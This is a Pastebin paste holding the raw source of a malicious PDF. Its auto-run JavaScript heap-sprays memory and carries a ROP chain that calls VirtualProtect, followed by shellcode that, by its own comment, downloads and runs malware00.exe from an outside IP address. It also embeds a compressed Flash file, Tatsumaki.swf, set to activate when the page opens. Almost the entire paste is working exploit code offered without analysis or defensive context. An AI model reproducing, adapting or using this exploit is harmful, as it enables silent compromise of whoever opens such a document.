API tools faq
paste
thieumao

Tim IP

thieumao
May 31st, 2013
166
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASM (NASM) 13.10 KB | None | 0 0
raw download clone embed print report
  1. %PDF-1.5
  2. %âãÏÓ
  3. 1 0 obj
  4. <<
  5. /OpenAction 2 0 R
  6. /Pages 3 0 R
  7. /AcroForm 4 0 R
  8. /Type /Catalog
  9. >>
  10. endobj
  11. 3 0 obj
  12. <<
  13. /Kids [5 0 R]
  14. /Count 1
  15. /Type /Pages
  16. >>
  17. endobj
  18. 5 0 obj
  19. <<
  20. /Parent 3 0 R
  21. /Annots [6 0 R]
  22. /MediaBox [0 0 612 792]
  23. /pdftk_PageNum 1
  24. /Type /Page
  25. >>
  26. endobj
  27. 2 0 obj
  28. <<
  29. /JS 7 0 R
  30. /Type /Action
  31. /S /JavaScript
  32. >>
  33. endobj
  34. 7 0 obj
  35. <<
  36. /Length 7614
  37. >>
  38. stream
  39.    
  40.         ///////////////////////////////////// PADDING /////////////////////////////////////
  41.     var Shellcode = unescape(
  42.         "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
  43.         "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
  44.         "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
  45.         "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
  46.         "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
  47.         "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
  48.         "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
  49.         "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
  50.         "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
  51.         "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
  52.         "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
  53.         "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
  54.         "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
  55.         "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
  56.         "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
  57.         "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
  58.         "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
  59.         "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
  60.         "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
  61.         "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
  62.         "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
  63.         "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
  64.         "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
  65.         "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
  66.         "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
  67.         "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
  68.         "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
  69.         "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
  70.         "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
  71.         "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
  72.         "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
  73.         "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
  74.         "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
  75.         "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
  76.         "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
  77.         "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
  78.         "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
  79.         "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
  80.         "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
  81.         "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
  82.         "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
  83.         "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
  84.         "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
  85.         "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
  86.         "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
  87.         "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
  88.         "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
  89.         "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
  90.         "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
  91.         "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
  92.         "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
  93.         "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
  94.         "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
  95.         "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
  96.         ///////////////////////////////////// ROP ////////////////////////////////////
  97.         "%u64a6%u4a80" +    // [0x11111110] -->     0x4a8064a6 :  # ADD ESP,0c # RETN  
  98.         "%u0000%u0000" +    // eax+0x4 : NOP                                                                               
  99.         "%u1eb7%u4a81" +    // eax+0x8 -> EIP -->       0x4a811eb7 :  #POP EBP #  OR BYTE PTR DS:[EDI], CL # XCHG EAX,ESP # RETN (then ESP = 0x11111110)
  100.         "%u0000%u0000" +    // eax+0xC : NOP
  101.        
  102.         "%u7984%u4a81" +    // eax + 0x4 + 0x0c --> 0x4A817984 : #XCHG EAX,EBP # RETN
  103.         "%u63a5%u4a80" +    //0x4A8063A5 : #POP ECX # RET
  104.         "%udbbf%u0028" +    // Become ECX
  105.         "%u30f4%u4a82" +    //0x4A8230F4  : #ADD EAX,ECX # RET
  106.         "%ua7d8%u4a80" +    //0x4A80A7D8  : #MOV  EAX, DWORD PTR DS:[EAX] # RET  (now EAX point to VirtualProtect() )
  107.         "%u6fd9%u4a81" +    //0x4A816FD9   : #JMP[EAX] (JMP VirtualProtect() )
  108.        
  109.         "%u1200%u1111" +    // return address (ptr to Shellcode)
  110.         "%u1200%u1111" +    // lpAdress (ptr to Shellcode)
  111.         "%u0400%u0000" +    // dwSize (0x400 = 1024 )
  112.         "%u0040%u0000" +    // flNewProtect (0x40)
  113.         "%u0000%u4a8a" +    // lpflOldProtect (0x4a8a0000 - writeable )
  114.        
  115.         ///////////////////////////////////// NOP /////////////////////////////////////
  116.         "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
  117.         "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
  118.         "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
  119.         "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
  120.         "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
  121.         "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
  122.         "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
  123.         "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
  124.         "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
  125.         "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
  126.         ///////////////////////////////////// SHELLCODE /////////////////////////////////////
  127.         // Shellcode download & execute : http://119.160.151.228/malware00.exe
  128.         "%uEBFC%u3156%u64F6%u768B%u8B30%u0C76%u768B%u8B1C%u086E%u368B%u5D8B%u8B3C%u1D5C%u0178%u8BEB%u144B%uE367%u8BEC%u184B%uE367%u8BE6%u207B%uEF01%u7C8B%uFC8F%uEF01%uC031%u0299%uC117%u04CA%u75AE%u3BF8%u2454%uE004%u75E4%u8BC8%u2453%uEA01%uB70F%u4A14%u7B8B%u011C%u03EF%u972C%u68C3%u488E%u638B%uA0E8%uFFFF%u66FF%u6CB8%u506C%u6F68%u2E6E%u6864%u7275%u6D6C%uFF54%u68D5%u2B83%uF676%u84E8%uFFFF%uEBFF%u5021%uD5FF%uE768%uCCC4%uE869%uFF75%uFFFF%u4C50%u4C4C%uFF4C%u68D5%uA677%u2A60%u64E8%uFFFF%u50FF%uD5FF%u6850%u652E%u6578%u4368%u5C3A%u5078%u8950%u80E3%u08C3%uE853%uFFC7%uFFFF%u7468%u7074%u2f3a%u312f%u3931%u312e%u3036%u312e%u3135%u322e%u3832%u6d2f%u6c61%u6177%u6572%u3030%u652e%u6578"
  129.         );
  130.          
  131.     var SprayNop  = unescape( "%u0000%u0000" );
  132.     while (SprayNop.length + 20 + 8 < 65536)
  133.         SprayNop += SprayNop;
  134.     SpraySlide  = SprayNop.substring(0, (0x0c0c-0x24)/2);
  135.     SpraySlide += Shellcode;
  136.     SpraySlide += SprayNop;
  137.     SprayData = SpraySlide.substring(0, 65536/2);
  138.     while(SprayData.length < 0x80000)
  139.         SprayData += SprayData;
  140.     Absolute = SprayData.substring(0, 0x80000 - (0x1020-0x08) / 2);
  141.     var SprayMemory = new Array();
  142.     for( i = 0 ; i < 0x1f0 ; i++)
  143.         SprayMemory[i] = Absolute + "O";
  144.  
  145. endstream
  146. endobj
  147. 4 0 obj
  148. <<
  149. /XFA 8 0 R
  150. >>
  151. endobj
  152. 8 0 obj
  153. <<
  154. /Length 372
  155. >>
  156. stream
  157. <?xml version="1.0" encoding="UTF-8"?>
  158. <xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
  159. <config xmlns="http://www.xfa.org/schema/xci/2.6/">
  160. <present><pdf><interactive>1</interactive></pdf></present>
  161. </config>
  162. <template xmlns="http://www.xfa.org/schema/xfa-template/2.6/">
  163. <subform name="form1" layout="tb" locale="en_US">
  164. <pageSet></pageSet>
  165. </subform></template></xdp:xdp>
  166.  
  167. endstream
  168. endobj
  169. 6 0 obj
  170. <<
  171. /NM (Tatsumaki.swf)
  172. /Subtype /RichMedia
  173. /RichMediaSettings 9 0 R
  174. /RichMediaContent 10 0 R
  175. /Type /Annot
  176. /Rect [20 20 187 69]
  177. >>
  178. endobj
  179. 9 0 obj
  180. <<
  181. /Subtype /Flash
  182. /Deactivation 11 0 R
  183. /Activation 12 0 R
  184. /Type /RichMediaSettings
  185. >>
  186. endobj
  187. 10 0 obj
  188. <<
  189. /Configurations [13 0 R]
  190. /Assets 14 0 R
  191. /Type /RichMediaContent
  192. >>
  193. endobj
  194. 12 0 obj
  195. <<
  196. /Condition /PO
  197. /Type /RichMediaActivation
  198. >>
  199. endobj
  200. 11 0 obj
  201. <<
  202. /Condition /XD
  203. /Type /RichMediaDeactivation
  204. >>
  205. endobj
  206. 14 0 obj
  207. <<
  208. /Names [(Tatsumaki.swf) 15 0 R]
  209. >>
  210. endobj
  211. 15 0 obj
  212. <<
  213. /EF
  214. <<
  215. /F 16 0 R
  216. >>
  217. /F (Tatsumaki.swf)
  218. /Type /Filespec
  219. >>
  220. endobj
  221. 13 0 obj
  222. <<
  223. /Instances [17 0 R]
  224. /Subtype /Flash
  225. /Type /RichMediaConfiguration
  226. >>
  227. endobj
  228. 17 0 obj
  229. <<
  230. /Subtype /Flash
  231. /Asset 15 0 R
  232. /Type /RichMediaInstance
  233. >>
  234. endobj
  235. 16 0 obj
  236. <<
  237. /Length 2247
  238. /Type /EmbeddedFile
  239. >>
  240. stream
  241. CWS
  242. e
  243. \00\00xÚ}VKo[ÇŸ—Iœ-ǎâÈI­ Œ±Åy?Gè<ÛmÔ@Q0 Š€,Ö4)”%¯jý!^õ't[ »¢ÅFš®»Ê¿P¿+9~€E  ‰Œwæ̙sŸóo掘ûwQ¬þ¹(n”EŒúiQžö²(îOzÛ¿Žyóôép4ÝÆÛWwg³£ívûäädë„o'ÛÔZÛ&¬ÍØ=Xܛ>Í:§÷FÓ/ïì\8ˆýiw28š
  244. Æ£Íꜳ?>ž}uçίœî[§GǓá…Ë^·ÝöŸöG³i›nQ8êu·Ɠ§ÙNçèh8èv*wíÓ{ÓÃq÷ÉIçYÿÞÁ°3=Œß~gX­™
  245. fÃþŽë÷û›yØ?Ý›îÝú ëK“Êž÷.Н÷ÒìT«·ºã§í£ÉžwÜELpu±øý%•‹£ãýá`z؟쏞ŒÆ'—[Œ­lº“~g6þÐ⇱j~Ø=>î<îï€_]Ìœ}¿ˆ±3ëïü²ó|“‰»›ŒPzF5z¿ý#ŽßŒ €;E\ûŸ~¿µóóóß-ÖQá&þçŠ]]\|þÒøö ‚Šÿ}ñÁ`öðhÒy^üõúÖRQ`¬8˜tžöi±VlUŠ·–.Þ:ž
  246. †Óÿ|Öw“ÊŸùp6ŒÏÿà`åÒ¬7˜
  247. ;ϛÌúËGHäãN/
  248. çû§³ñþ`ô§5Á¥–œžˆ$øhˆRšš‚äJRÁ“×>Š˜œV1&ã§ÜI+šQ©Zà‚b™§Ä¡°óŽäèCŠ!PìcÆê,µ‚ªŒ…+é¥WÄ1ˬIÑhøbÆPÍ¡X#( A¥àÂ:ah`*q£yؔKcà5Pg¢±œÅ8'1ðgÔQeŸ8â°!k‹Ájá¥è¢aI+kH š¢±Š   ˆóÑëáŠÀ?#ŠžW‰šLf’E¡eŽÄ’L•1ÚY®2A°YÙ    ª‹À$G,™vÊpK¢âL9n•†g‘wšJi°ÊâU®#<seŽ9y+£4$eâñÁRJ0cµµBêŒtáÇ`ÀG¹7Âhf²1e<uÒh—ŠSE&†sÍ5 Jk›u6+'ê‹Lå܇K‚Ÿ<¥Æ3Š÷ÌxáEJ·̰”)éŒÌÚ$mŒÂȄYšтHK¢#LÉåÈ,G+mBí£°"Fς@5™“ȁya*ÒsTT°@ÕÞB}@‰‚Æa¹Ö`CLÄ`“9ÂÒ^¹”$aøRÙ9£Tԁ2ŽP-u>«HÁfÏ°œõ’`”„%)è\00Ô3°P(ZÅ¢ƒ3dËœb:9C23(×ÙR@œŽÖ„qïµØ:ڈm€ŽÄc“ PH¶ƒcšRëHH€c:³àžOs’D‚”!G—Q-ÀwŒ+Î
  249. "UÓE/C
  250. !Hs±P    .ª L$-6[i€DÃçD€ ¹­b ^QíœHIdE­À^k4wM²—\00¯•ÑA[Ÿ‚"k1RUµ\00/8šøF™¶Ê&<ÉHÝ
  251. !hYà r¢£$ñ@BY‘²’A£.P"]¢R":ÃŽr«úÔ&k)c ž[äÇ  CKŽ•BðˆVäÁ'ŽZ ˜ËP­ª8š€PLÖ8-(õ®ži•gÅùG&©„Î䲋¡º,¡.\00Ž:  ˆ[ûD£ Gc­dTÄs”YT&²v‘xb)L¢)’\00‹”'ÕA”ŸH²I÷<A—\00wŒh\ˆ3ÊR_mŒVM ŒJàÍ1fä,TáðPÎT•\r&\fN‚ø‘eç¡»FŠJoâe:KŒe1bº ¬¶:0 O8Q€%pÐ]jíS„:\00–à“É2«nbàLð‚H9
  252. Š(’ÇÕÖÉQs¥Þ\xÒ\00«³DŸ]Ñ Ù‘ÔDH™d^T*šo0V—žD#HœÆàÀAç€7ÞKçšeي $ØcÀt™HÔÎ+!䑣 ¡qΡñ:–œAa€lV
  253.  Àèáì ß!Vg‡›°†e(’Œ2š ™þÖ3œ,^hïŒSà£V$€âÍmT¢bŸ3d    ”\00Jœ&Ã'™%\00³ ˜
  254. ى4V„ B€Ã^8G(εš g† Q‘9ŒaSÈÒF§PÂ6˜fèD/—GÃ@駠Y flRDPgŠ$pïàÖEͲÊh9ç}ÕqWIÜâ £ÈÒèžx 3tRœnV÷‚þdaˆŸêZ1ýâÍ%ìÝÌ=ämFˆjÁèúwŒíË;ÆíãåïîþïûÝYãr:õ'·>4úz4ëO:ÝÙàYÿÒðæÿqòÙå\ÿYu?ÝNÕO5ߙuqÅk^ÚÌwzœp8öX8˜5.îH5r:wt<=lû£Ç³Ãå÷ý\ù‘Ÿ•¶Œú_®ÿ®—ëõõæÆ'õFÑ(æW6«W6Ö6®n|Žqm}£¶ÚlÔ[µù¹…Å¥å•Õ+×[e­U›kÕ­z«Õ˜o5Zõ¥…å²U»ÞšÿžU[¿Y¶æoŽjŸ¶j×Zk7[õÏZõÏ[õŸ4Š÷>eYûá©>·0W”µFYԚe«f9‡±Á”åüBýŒü¬2/ÏÈÙ×ÅÙn£ÀH­†€6ÏÈÝÅoÏŸÉÍòEùÏG­­âßœ~µ;_>Zxœ»P®Þh-,>9#Êe£oîÖóbùbé»ß/–ºs·‹ncíVQ,ìÏÝýäõ~ã`ù%Ÿo—/ñ°»Râ±örÚmì7^¬~ü¯ósØ7×Vaÿj¿¹?·ß<Xî,ÿ­Y=cþûóóW?Ç-¹†À¿<#ýbï
  255. Ù[#{WÉÞGdïٛÃßo‹Ï/>‡uD·r­º/¿œBÿ/ÿ9a^
  256. endstream
  257. endobj xref
  258. 0 18
  259. 0000000000 65535 f
  260. 0000000015 00000 n
  261. 0000000265 00000 n
  262. 0000000100 00000 n
  263. 0000009155 00000 n
  264. 0000000159 00000 n
  265. 0000009615 00000 n
  266. 0000000327 00000 n
  267. 0000009189 00000 n
  268. 0000009762 00000 n
  269. 0000009866 00000 n
  270. 0000010020 00000 n
  271. 0000009954 00000 n
  272. 0000010224 00000 n
  273. 0000010088 00000 n
  274. 0000010144 00000 n
  275. 0000010393 00000 n
  276. 0000010314 00000 n
  277. trailer
  278.  
  279. <<
  280. /Root 1 0 R
  281. /Size 18
  282. >>
  283. startxref
  284. 12715
  285. %%EOF
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!